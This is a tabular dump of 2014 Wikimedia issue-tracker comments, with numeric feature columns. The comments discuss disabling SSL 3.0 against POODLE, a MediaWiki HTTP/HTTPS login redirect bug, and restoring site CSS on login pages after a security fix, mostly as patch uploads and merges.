https://www.ssllabs.com/ssltest/analyze.html?d=ishmael.wikimedia.org",,,1413927090,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,0.9166666666666666,"Has SSL 3.0 been disabled on misc-web-lb.eqiad.wikimedia.org?

URL
URL"
329091,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"This topic is being discussed on the Operations mailing list now.

(In reply to chmarkine from comment #0)
> re-enable SSL 3.0 after TLS_FALLBACK_SCSV is available?

Quoting: ""Google's TLS_FALLBACK_SCSV needs all clients and servers patched.""",,,1413370819,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-38,True,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,18.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,10.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.925,"This topic is being discussed on the Operations mailing list now.

(In reply to chmarkine from comment #0)
QUOTE

Quoting: ""Google's TLS_FALLBACK_SCSV needs all clients and servers patched."""
73716,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","**Author:** `bugzillawiki`

**Description:**
So looks like there's a bug if a mediawiki site has https enabled but doesn't want https anywhere other than login. So if the client comes via non-secure and goes to login with a secured wiki, then proceeds to login (and hasn't chosen to force SSL), the site continues to be in SSL.

Expected behavior: If a client logs in from non-ssl and the wiki has SSL enabled, and the client has not set ""force ssl"", the client should return to the non-secure wiki.

This patch should fix that behavior since the 'fromhttp' parameter wasn't being sent back to the post page properly:

https://gerrit.wikimedia.org/r/#/c/164882/

--------------------------
**Version**: 1.23.5
**Severity**: normal",Medium,50.0,1412623620,1417646198.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_description,resolved,True,c3,1,False,False,True,-39,True,0.0,0.0,0.0,0.5,2.0,7.0,0.5,0.0,0.0,1.5,1.0,3.0,0.0,0.0,0.5,0.0,0.0,5.5,9.0,0.0,2.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,15.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,7.5,2.0,2.5,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,9.0,3.5,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5464468533574225,0.6623757904245708,"**Author:** CODE

**Description:**
So looks like there's a bug if a mediawiki site has https enabled but doesn't want https anywhere other than login. So if the client comes via non-secure and goes to login with a secured wiki, then proceeds to login (and hasn't chosen to force SSL), the site continues to be in SSL.

Expected behavior: If a client logs in from non-ssl and the wiki has SSL enabled, and the client has not set ""force ssl"", the client should return to the non-secure wiki.

This patch should fix that behavior since the 'fromhttp' parameter wasn't being sent back to the post page properly:

URL

--------------------------
**Version**: 1.23.5
**Severity**: normal"
336070,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.",I merged https://gerrit.wikimedia.org/r/#/c/165080/,,,1417646198,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,I merged URL
336069,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","Change 165080 merged by jenkins-bot:
If a user logs in while not on https, then the user should be sent back to the non-secure website.

[[https://gerrit.wikimedia.org/r/165080]]",,,1417646185,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.282051282051282,0.8717948717948718,"Change 165080 merged by jenkins-bot:
If a user logs in while not on https, then the user should be sent back to the non-secure website.

[[GERRIT_URL]]"
325423,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","**bugzillawiki** wrote:

I'm running version Mediawiki 1.23.5 (stock).",,,1412698387,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5555555555555554,0.8333333333333334,"**bugzillawiki** wrote:

I'm running version Mediawiki 1.23.5 (stock)."
325415,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","This is bug 40541 once again.
What version of MediaWiki are you running? We had problems getting rid of this bug on OSM wiki too... I guess the underlying code is fragile.",,,1412666048,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,8.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,3.810810810810811,0.8918918918918919,"This is bug 40541 once again.
What version of MediaWiki are you running? We had problems getting rid of this bug on OSM wiki too... I guess the underlying code is fragile."
325407,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","**bugzillawiki** wrote:

No, this is applicable to stock mediawiki as the expected behavior isn't working on my wiki.

It doesn't look like this is a duplicate of bug 61048 which is related to not being logged in after returning to http://. This one is related to going from http -> https login -> https whereas we expect it to be http -> https login -> http

With this patch applied and after testing, I can confirm that you do stay logged in even when returning to http, so it looks like bug 61048 has been fixed?",,,1412634544,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,2.5,1.5,3.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.5,0.0,3.5,14.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.5,1.5,2.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,10.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,5.0,4.0,3.5,1.0,4.0,0.0,0.0,0.0,0.0,5.5,0.5,1.5,0.0,5.5,14.0,1.5,1.0,0.0,0.0,5.5,0.0,1.5,0.5,0.0,2.5,0.0,0.0,3.5,3.633393829401089,0.7477313974591651,"**bugzillawiki** wrote:

No, this is applicable to stock mediawiki as the expected behavior isn't working on my wiki.

It doesn't look like this is a duplicate of bug 61048 which is related to not being logged in after returning to URL This one is related to going from http -> https login -> https whereas we expect it to be http -> https login -> http

With this patch applied and after testing, I can confirm that you do stay logged in even when returning to http, so it looks like bug 61048 has been fixed?"
325399,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","Is this report about MediaWiki, or a particular WMF site (so mediawiki + centralauth)?

If it's just mediawiki, I think this is a duplicate of bug 61048, but I want to make sure I understand the issue you're seeing.",,,1412632848,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,14.0,2.0,6.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,8.0,4.0,2.0,0.0,0.0,10.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.63265306122449,0.8571428571428571,"Is this report about MediaWiki, or a particular WMF site (so mediawiki + centralauth)?

If it's just mediawiki, I think this is a duplicate of bug 61048, but I want to make sure I understand the issue you're seeing."
325392,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","Change 165080 had a related patch set uploaded by Stephenliang:
If a user logs in while not on https, then the user should be sent back to the non-secure website if they did not explicitly choose to stay on the secure site

https://gerrit.wikimedia.org/r/165080",,,1412624418,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,2.0,4.0,10.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,2.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,8.0,6.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,18.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9591836734693877,0.8367346938775511,"Change 165080 had a related patch set uploaded by Stephenliang:
If a user logs in while not on https, then the user should be sent back to the non-secure website if they did not explicitly choose to stay on the secure site

GERRIT_URL"
73621,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Bug 70672 (T72672) fixes the security hole of allowing Javascript in CSS in the Mediawiki namespace.  It does this by breaking the functionality of loading CSS when on the Special:UserLogin and Special:Preferences pages.  Unfortunately this means that any custom styles are not loaded.  To the end user it causes momentarily confusion that they may have been maliciously redirected to a different site to enter their username and password.  This is an undesirable side effect for the user interface.

I have created an example extension that will prevent saving any custom CSS that contains Javascript imports.
https://github.com/Alexia/Bug70672

Example error output:
http://imgur.com/a/TnsTY#0

Original bug:
https://bugzilla.wikimedia.org/show_bug.cgi?id=70672

--------------------------
**Version**: 1.23.5
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=70672",Medium,50.0,1412365860,1417077529.0,PHID-USER-x6bqmsddkjigelco4gwe,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-o6thfwgsk54xnsmig6b5,task_description,resolved,True,c3,1,False,False,True,-39,True,1.0,0.0,0.0,1.0,0.5,3.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,6.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,4.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,3.5,0.0,0.0,0.5,1.5,0.5,17.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,1.5,0.0,5.0,1.5,15.5,1.5,1.0,7.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,2.5,6.0,5.5,0.0,0.0,0.0,2.5,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.171328671328671,0.696137196137196,"Bug 70672 (T72672) fixes the security hole of allowing Javascript in CSS in the Mediawiki namespace.  It does this by breaking the functionality of loading CSS when on the Special:UserLogin and Special:Preferences pages.  Unfortunately this means that any custom styles are not loaded.  To the end user it causes momentarily confusion that they may have been maliciously redirected to a different site to enter their username and password.  This is an undesirable side effect for the user interface.

I have created an example extension that will prevent saving any custom CSS that contains Javascript imports.
URL

Example error output:
URL

Original bug:
URL

--------------------------
**Version**: 1.23.5
**Severity**: major
**See Also**:
URL"
333918,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,">>! In T73621#790441, @Aklapper wrote:
> I assume this can be closed as fixed now?

Yes!",,,1417077529,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.8333333333333334,"QUOTE
QUOTE

Yes!"
333862,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,I assume this can be closed as fixed now?,,,1417059997,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,1.0,I assume this can be closed as fixed now?
333564,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Change 175671 merged by jenkins-bot:
Make allowing site-wide styles on restricted special pages a config option

[[https://gerrit.wikimedia.org/r/175671]]",,,1417022135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.035714285714286,0.8928571428571429,"Change 175671 merged by jenkins-bot:
Make allowing site-wide styles on restricted special pages a config option

[[GERRIT_URL]]"
332921,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Change 174018 merged by Mglaser:
Make allowing site-wide styles on restricted special pages a config option

[[https://gerrit.wikimedia.org/r/174018]]",,,1416913263,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.1923076923076925,0.9230769230769231,"Change 174018 merged by Mglaser:
Make allowing site-wide styles on restricted special pages a config option

[[GERRIT_URL]]"
332916,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Change 174014 merged by Mglaser:
Make allowing site-wide styles on restricted special pages a config option

[[https://gerrit.wikimedia.org/r/174014]]",,,1416912967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.1923076923076925,0.9230769230769231,"Change 174014 merged by Mglaser:
Make allowing site-wide styles on restricted special pages a config option

[[GERRIT_URL]]"
332912,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Change 175671 had a related patch set uploaded (by Mglaser):
Make allowing site-wide styles on restricted special pages a config option

[[https://gerrit.wikimedia.org/r/175671]]

#patch-for-review",,,1416912624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,8.0,3.871794871794872,0.8205128205128205,"Change 175671 had a related patch set uploaded (by Mglaser):
Make allowing site-wide styles on restricted special pages a config option

[[GERRIT_URL]]

#patch-for-review"
321388,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"I uploaded patches for REL1_24, REL1_23, and REL1_22. I started on REL1_19 and then it got all scary so I stopped.

I'm not sure what to do about @since 1.25 tags, so I left them as they are.",,,1416269328,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-33,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,11.0,0.0,9.0,11.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,18.0,11.0,4.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.7777777777777778,"I uploaded patches for REL1_24, REL1_23, and REL1_22. I started on REL1_19 and then it got all scary so I stopped.

I'm not sure what to do aboutSCREEN_NAME 1.25 tags, so I left them as they are."
321385,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:

Change 174018 had a related patch set uploaded by Legoktm:
Make allowing site-wide styles on restricted special pages a config option

https://gerrit.wikimedia.org/r/174018",,,1416268909,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,4.257142857142857,0.8285714285714286,"**gerritadmin** wrote:

Change 174018 had a related patch set uploaded by Legoktm:
Make allowing site-wide styles on restricted special pages a config option

GERRIT_URL"
321382,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:

Change 174014 had a related patch set uploaded by Legoktm:
Make allowing site-wide styles on restricted special pages a config option

https://gerrit.wikimedia.org/r/174014",,,1416268545,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,4.257142857142857,0.8285714285714286,"**gerritadmin** wrote:

Change 174014 had a related patch set uploaded by Legoktm:
Make allowing site-wide styles on restricted special pages a config option

GERRIT_URL"
321378,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:

Change 174012 had a related patch set uploaded by Legoktm:
Make allowing site-wide styles on restricted special pages a config option

https://gerrit.wikimedia.org/r/174012",,,1416268350,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,4.257142857142857,0.8285714285714286,"**gerritadmin** wrote:

Change 174012 had a related patch set uploaded by Legoktm:
Make allowing site-wide styles on restricted special pages a config option

GERRIT_URL"
321374,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"I believe that this is great news and having a configuration setting for this [1] is great and very much acceptable. Thanks a ton for making this possible!

Since this went to master I think this change should be backported to the 1.19, 1.23 and 1.24 branches.


